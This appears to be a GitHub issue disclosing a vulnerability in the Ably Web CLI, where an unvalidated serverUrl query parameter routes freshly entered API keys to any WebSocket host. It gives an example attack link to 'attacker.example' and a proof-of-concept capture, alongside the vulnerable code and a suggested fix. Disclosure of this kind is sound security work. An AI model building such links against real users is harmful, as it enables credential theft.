Skip to content

Unvalidated serverUrl query parameter allows credential exfiltration in Web CLI (examples/web-cli / @ably/react-web-cli) #453

Description

@Bugatsec

Summary

App.tsx reads a serverUrl query parameter and passes it unvalidated to AblyCliTerminal.tsx, which uses it as the terminal WebSocket destination. There is no allowlist.

Notably, signedConfig/signature are already blocked in query parameters in production serverUrl was not given the same treatment.

Impact

An attacker can send a victim a link such as:
https://{web-cli-host}/?serverUrl=wss://attacker.example

The victim sees the genuine UI, enters their Ably API key, and the app transmits the plaintext key/secret over the WebSocket to the attacker's server. The signature is generated by the legitimate /api/sign endpoint, but it is sent alongside the raw key, making it irrelevant to the attacker. The attacker's server can also present a convincing fake terminal.

Stored credentials are domain-scoped and not leaked, but freshly entered keys are fully compromised.

Proof of Concept

A WebSocket server listening received the following when a test API key was entered into the Web CLI loaded at http://cli-web-cli.vercel.app/?serverUrl=ws://localhost:8765:

{
  "config": "{\"apiKey\":\"<TEST_KEY_REDACTED>\",\"timestamp\":1789810969445,\"bypassRateLimit\":false}",
  "signature": "7c9a07508560028b34a0fbbf367035de3714bd3b6d1be4a7ff6ebe86d82e7c18",
  "apiKey": "<TEST_KEY_REDACTED>"
}

The plaintext API key appears twice inside the signed config blob and again as a top-level apiKey field.

Root Cause

examples/web-cli/src/App.tsx has two separate readers for security-relevant query parameters, and only one of them applies a production check.
serverUrl (vulnerable no environment check at all):

const getWebSocketUrl = () => {
  const urlParams = new URLSearchParams(window.location.search);
  const serverParam = urlParams.get("serverUrl");
  if (serverParam) {
    console.log(`[App.tsx] Found serverUrl param: ${serverParam}`);
    return serverParam;
  }
  return isRunningCIMode() ? DEFAULT_DEVELOPMENT_WEBSOCKET_URL : DEFAULT_PRODUCTION_WEBSOCKET_URL;
};

Any value passed via ?serverUrl= is accepted and used as the terminal's WebSocket destination in every environment, including production.

signedConfig / signature (correctly guarded production check present):

const qsSignedConfig = urlParams.get('signedConfig');
const qsSignature = urlParams.get('signature');

if (qsSignedConfig && qsSignature) {
  const isProduction = import.meta.env.PROD &&
                      !window.location.hostname.includes('localhost') &&
                      !window.location.hostname.includes('127.0.0.1');

  if (isProduction) {
    console.error('[App] Security Warning: Signed credentials in query parameters are not allowed in production.');
    console.error('[App] Credentials contain API keys that can leak through browser history, server logs, and shared URLs.');
    // strips the params from the URL and refuses to use them
    ...
  }
}

This check exists in the same file and explicitly reasons about the exact risk this report describes: credentials leaking via browser history, server logs, and shared URLs. In production, these params are stripped and ignored.

The inconsistency: serverUrl is arguably more dangerous than signedConfig/signature, since it determines where credentials (freshly entered by the user via handleAuthenticate → /api/sign) actually get transmitted, yet it has none of the same protection. This isn't a case of the maintainers never considering untrusted query params in production they built a guard for one credential-adjacent parameter in this exact file. serverUrl simply never received the equivalent isProduction check.

Suggested fix, concretely: apply the same isProduction guard used for signedConfig/signature to serverUrl either ignore/strip it in production builds, or validate it against an allowlist of trusted WebSocket hosts before use.

CVE Request

Requesting a CVE ID for this issue:

  • Distinct, fixable vulnerability in a distributed package. @ably/react-web-cli is published to npm and consumed by third parties who embed it in their own web applications. Downstream deployments inherit the serverUrl behavior unless patched. A CVE gives them a stable identifier to track the fix and audit dependency trees.
  • Enables credential theft, not just information disclosure. The attacker obtains a working API key in plaintext, usable directly against Ably's REST and Realtime APIs to publish, subscribe, and manipulate channels under the victim's identity.
  • Fits the CWE-601 pattern (URL Redirection to Untrusted Site / Open Redirect). serverUrl is an unvalidated redirect target for a channel that carries credentials. CWE-601 is a recognized vulnerability class with a well-established CVE history.
  • Remotely triggerable with no authentication and no user interaction beyond entering a key on what appears to be a legitimate page. The attack surface is any deployment of the component.

Given the repo is under the ably GitHub org, requesting the CVE via GitHub's CNA program after a fix is available seems the natural path — happy to request directly from MITRE instead if preferred.

Disclosure

Reported to Ably's disclosure program on Sep 19, 2026. Ably confirmed ably-cli is out of scope for that program and pointed here for review by the maintaining team. Open to whatever timeline you prefer; if a CVE is issued, requesting it be published after a fix with credit to me as reporter.

Credit: Ranveer Kohli (aka @Bugatsec)

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions